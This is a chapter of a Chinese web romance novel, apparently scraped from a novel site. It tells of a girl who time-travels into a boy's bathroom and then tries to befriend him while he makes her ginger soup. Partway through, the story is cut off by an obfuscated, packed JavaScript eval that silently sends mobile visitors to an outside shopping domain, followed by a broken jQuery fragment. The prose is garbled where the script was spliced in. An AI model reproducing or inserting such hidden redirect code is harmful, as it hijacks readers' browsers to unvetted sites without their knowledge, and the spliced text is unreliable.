文趣网 > 都市小说 > 回到你的年少时 > 7. 初相逢各唱红白脸4
    那扇浴帘咔忽然一阵咔滋咔滋,在热气中闭合。

    岁杳对这样的发展出乎意料,神情顿时茫然。

    严丝合缝的帘子,悄无声息地掀开一角,露出一双冰冷的浅褐色眸子。

    岁杳没吭声,尴尬地想找地板缝钻进去,真是大水冲了龙王庙,浑身上下一千张嘴也说不清。

    比起解释凭空出现,天降飞人,她紧张地咽了咽口水,先是慌张证明自己清白,讪笑地说:“那啥,我什么都没看见....你信吗?”

    陈昭:“.......”

    他原本已经把浴帘拉开三分之一,然后岁杳话音刚落,只听一道刺耳的咔滋咔滋声,再次严实地合上。

    岁杳常年不变的厚脸皮难得挂不住,她连忙摆手:“你别误会,我真不是变态.....”

    无人回答。

    此时无声胜有声。

    岁杳脸臊,往后退一步,想要拉门跑,谁知,门把手生锈了还是被锁上了,扭半天弄不开,她急得跳脚,目光锁定一旁的窗户。说时迟那时快,她头也不回,扭身就走,脑子和四肢一起退化,手脚并用,一只脚踩破瓷砖,一只手扒窗户:“我马上就走!”

    静默须臾。

    咔滋咔滋!

    岁杳不是真脑残,只是想着要是楼层不高,还可以翻个墙。翻墙好,她最擅长翻墙了。

    岁杳边龇牙咧嘴边爬,心想:“请问青市的冬天是充值vip了吗?山城只有夏冬,春秋死在了战国。青市就更厉害,冬天与风雪义结金兰,好姐妹手拉手,霸道占了整个四季。”

    开了窗,那大风更不要钱似地往她的脸上刮,冰冷刺骨,手也被咬得发疼。

    转瞬,岁杳腾空的衣角传来一股拉扯力,她扭回头,正正迎上那双映满自己错愕表情的浅褐色眸子。

    岁杳愕然说:“你干什么!”

    陈昭还套着白t运动裤,显得腿长手长,他眉梢明显诧异:“你在干什么?”

    岁杳惊疑不定,艰难地维持姿势,大概是为避免脑仁被冷风侵蚀,所以拴在了裤腰带上:“显而易见,我在离开啊。”

    陈昭比岁杳高上许多,一个挂着,一个站着,那目光从她的眼尾扫下来的时候,身高差带来的压迫感,依然明显。

    陈昭没质问她智商还在吗,头疼说:“你先下来。”

    “哦。”岁杳跳下来,尴尬地甩了两下僵硬的手,扫了一眼他扯住的衣角,“我下来了。”

    陈昭触电似地抽回手,对岁杳说:“你知不知道这里是几楼?”

    岁杳心中暗疑:“几楼?我当然不知道这里几楼。我甚至都不知道这是哪里!?”

    她一得好脸就没个正经,手揣进兜里,回想说:“一二三四五六七八楼?”

    陈昭不紧不慢,无情地说:“......你跳吧,我不拦你。”

    岁杳:“......”

    她这个人,还有一个缺点,那就是不能激,别人一激她,就非得去证明一下。

    岁杳绷着脸,心说:“我倒要看看有多高。”

    于是,她双手双脚并用,一气呵成,探头一出,大风哗啦啦吼吼吼呜呜呜,如野兽发情,再往下一瞧,深渊再临,往下一跳估计能成凶杀案现场。

    这一眼,还真是胆战心惊!

    岁杳倒吸一口气,呛得呼吸困难,心脏怦怦跳,不知是被吓的,还是没真的往下跳的庆幸。

    她缩回脖子,紧绷着脚尖,微微侧头,眯着眼往回一看。瞅准好位置,松开手,稳稳落在地上。

    岁杳眼尖地注意到,陈昭抬起来一点,又收回去的手。她莫名地想:“不会是想扶我吧?”

    岁杳完美地展示了一次大脑出走,此时有点不敢看陈昭,飘开视线,“好像是十楼往上。”

    陈昭:“那你跳?”

    “这怎么可以,陈昭同学,好歹见两次了,你怎么能让我去送死?”岁杳轻咳一声,打算套近乎,“我要是跳了,第一嫌疑人就是你,我肯定不能害你犯罪。”

    陈昭和岁杳对视,不留情面地呛说:“鬼还害怕再死一次?”

    岁杳被他看得浑身发毛,想着找回场子,一点不示弱,仰起头说:“我都说了我不是鬼,还要我说几次。”

    岁杳的话一顿。说这话已经立不住,除了鬼,好像真没什么理由能够解释现在这诡异状况。

    她自个儿都觉得自己像个阴魂不散的鬼。

    岁杳自圆其说,心里又有点怅然若失,于是转口:“好吧好吧,随便你怎么说。只有一点,我保证我无恶意,不会对你做什么的。”

    陈昭默默地瞥向她。

    岁杳说完才反应过来,这话似乎有歧义。

    就这么一会儿,她有够尴尬的了,一边想着解释就是掩饰,再怎么说,都改变不了她“偷看”的事实,一边又想,死前挣扎一下,多说点,聊胜于无。

    岁杳无能找补:“我说的是不会伤害你。”

    陈昭这人,话好像真的不多,能动手绝不废话。此时,他只是淡淡看了一眼岁杳,如初见时一样,无视她,越过她,向浴室门走去。

    圆形的门把手,上面都是锈迹,但没上锁。只见,陈昭握上,往外一拽,门一下子就开了。

    岁杳哑口无言。原来是她用的力气不够大吗。

    岁杳想也没想,立马跟上,悄无声息地躲在他身后,眼睛四处飘,小声问:“喂,你家里没人吧。”

    陈昭走到玄关处,倒了杯水,润完嗓子,头也不回地说:“现在才知道问?”

    这话一听,就知道还在生气。

    岁杳在一扇门后,做贼似地东张西望。

    等真的确定没人之后,她才光明正大、大摇大摆走出来,放肆地打量四周:“你别生气,我真不是故意的,我自己也控制不了。”

    陈昭没生气,但话到嘴边,又咽了下去。

    屋子不大不小,陈设老旧,东西比较多,但不显杂乱。

    小柜上立着一相框,一家三口,每个人都笑容满面,但面孔全都很陌生。

    岁杳心下疑惑:“这是全家福吧,可是为什么没看见陈昭。”

    岁杳面上无异样,表现得滴水不漏,认真询问:“我能坐你家沙发吗?”

    陈昭窥见女孩白皙漂亮的脸蛋染着红晕,唇角含笑,期待似地望着他,最后一滴冰水沿着喉咙往下滑,他挪开眼,不苟言笑:“随便。”

    岁杳笑盈盈:“谢啦,你人其实蛮好的。”

    岁杳跑到沙发边,往后一靠,规规矩矩地坐好。

    她双手交叠在膝盖弯,肩胛骨凸起,低下头盯着手腕上的倒计时沉思:“现在不着急跑回宾馆小屋,有些疑问想要弄清楚。”

    一,返回2045年时,仍是原本的地点,姑且称为传送点没变。

    二,再次返回2026年传送点却发生变化。两个时空来回穿梭,时间差不足一分钟,那么在26年,她的身体岂不是在一分钟之内从宾馆传送到不知名小区,具体点说,是被传送到了陈昭身边。

    岁杳思绪一顿,忽然想到什么。

    两次时空穿梭,只有一个共通点,那就是陈昭。

    时空穿梭如梦如幻,时光逆转,两次异客来访,身边一定会有这么一个人。

    真是,神奇又值得怀疑啊。

    岁杳大脑飞转,抓到某个关键词后,又敏锐搜寻与之相关的信息。两人之间说过的每一句话都被岁杳无限放大,格外敏感的信息立马被她捕捉到。

    上一次离别前,陈昭说过一句:“或许,我们还会再见。”

    岁杳自顾自考量,她掀起眼皮,向陈昭望去,笑说:“陈昭同学,我有些问题很好奇,不知当问不当问。”

    陈昭没说话,岁杳接着说:“我自个儿都觉得这事儿特诡异,你没想过报警?”

    陈昭:“警察不管灵异事件。”

    “有道理。”岁杳目光上移,“可你为什么一见我就有心事?”

    “心事没有,”陈昭说,“麻烦事倒不少。”

    “你看,我也很无辜啊,而且,”岁杳盯着他手上的水杯,慢悠悠地说,“你也在我身上找到了乐趣不是?”

    “是吗?”陈昭放下水杯,一声清脆叮响。他侧过身,眼神如寒冷冰湖,对视一眼,岁杳又莫名有了被猎人盯上的危机感,“有句话说得好,多言,招祸。”

    岁杳从不低头,不甘示弱地微微一笑:“那真是可惜,我这个人向来喜欢惹祸。”

    “那你小心,”陈昭没再看她,向另一个方向走去,不冷不热说,“惹祸上身。”

    “有句话说得好,还是你说的,”岁杳盯着他的背影,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722019|208712||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    直言不讳,“又弄不死我,怕什么。”

    陈昭脚步一停,侧过身来,面无表情,不着痕迹地打量了岁杳一番。岁杳但笑不语,她的直觉一向很准,她相信对方知道点什么。而且,岁杳刚才说的不是假话,她真心觉得陈昭人还不错。

    非要给的缘由,大概也是直觉。

    岁杳都说到这个份儿上了,对这个人评分也还不错,虽然看人时还是有点吓人,但突破点只有眼前这一个人。

    陈昭不愿主动透露半点,岁杳干脆破罐子破摔,摊开明牌:“陈昭,你是不是早就知道,我们还会再见面?”

    陈昭不动声色,冷言:“你既然已经缠上我,自然是阴魂不散。你们鬼,不都是这样?”

    岁杳:“.......”

    她突然觉得,自己的脑子在穿梭的时候出走了。旋即,又怀疑,陈昭是不是在四两拨千斤。

    岁杳杯弓蛇影,眼见问不出什么,摆摆手说:“算啦,我大人有大量,不跟你争辩。”

    陈昭反问:“你能争辩什么?”

    岁杳无言以对:“。”

    陈昭紧追不舍:“凭空出现,穿墙遁地,你能怎么争辩?”

    岁杳一拍沙发,坐直不认:“喂,前者我认,后者什么鬼。我能穿墙遁地,我还跳楼?”

    陈昭远远看了她一眼:“嗯。所以你是只缠上我的弱鬼。”

    岁杳摊倒,并且举起白旗。

    说不过,说不过行了吧!

    这人攻击性强,滴水不漏,岁杳真找不到一点能够套消息的切入点,但她不甘心。

    陈昭虽然一直说她是鬼,但她可不会真这么定义自己。

    更重要的,岁杳两次出现在陈昭身边,光凭这一点,就值得她继续跟他套近乎。

    不管以什么方式。

    岁杳立马转变策略,开启无赖交朋友的模式:“陈昭同学,别这么说,好歹有缘相见两次,我们可以交个朋友。”

    “你说我是鬼就是鬼,但我又不会害你,也害不到你,是鬼是人也没那么重要。”

    陈昭面不改色,没选择独自进卧室,而是转身,缓步走到沙发另一边,或许是觉得无聊,又或许是作业没完成。

    他伸手从黑书包里掏出几本练习题,掏出笔,头也不抬说:“你还有什么未了的心愿找我也没用,我帮不了你。”

    岁杳一旦有了目的,就会为了达到目的不择手段。简称间接性厚脸皮、不要脸。

    岁杳凑过去,保持一定安全距离下,和颜悦色:“我没心愿。认识认识嘛,你哪一届哪一班的?未来想考哪里的大学,有考虑在本地工作的打算吗?”

    陈昭:“你越界了。”

    岁杳置若罔闻:“别这么见外,我觉得我们很有缘分,真不考虑交个朋友?很多人喜欢跟我做朋友的。”

    陈昭不搭理岁杳,她也不气恼,笑着继续说:“你高几的?诶高二的题,那你17,16?比我小?我今年刚满18,咳咳咳咳咳咳!”

    岁杳喉咙一痒,捂着唇,侧过头,避开猛咳。

    她眼角闪烁着泪花,拍胸口,心想:“肯定是方才爬窗户吹大冷着凉了。”

    此时,身边沙发一轻,岁杳侧头看去,眼见陈昭又要走,她急说:“我离远点不会传染给你,你别走呀!你去哪,回卧室吗,你去厨房干什么?”

    岁杳没有跟上去,他的卷子和笔没拿走,还放着。

    她抬起头,视角盲区,只能瞥见少年在厨房开了橱柜拿了什么,接着又开火、掺水。

    岁杳懂了,这是饿了,好歹不是嫌弃她。

    岁杳不缠饿死鬼。于是,百无聊赖,扫过放在桌面上的练习题,只看,没动。

    须臾,厨房内响起一声“咔哒”。

    那是关火的声音。

    岁杳装模作样坐直,扭头望阳台,假装发呆。

    陈昭端着一个暖瓷碗,放在岁杳面前,又重新坐下,拿起笔看题。

    岁杳听见动静的刹那,就看了过去。她盯着那碗橙黄橙黄,还飘着两颗枸杞和姜片的汤,愣道:“这是......给我的?”

    陈昭掀起眼皮,眼神依旧冰冷,他淡淡道:“嗯。”

    年少时的善意不过严冬暖瓷姜汤茶,滚水碰壁霜痕裂。岁杳双手捧起碗,温言道:“真的,谢谢。”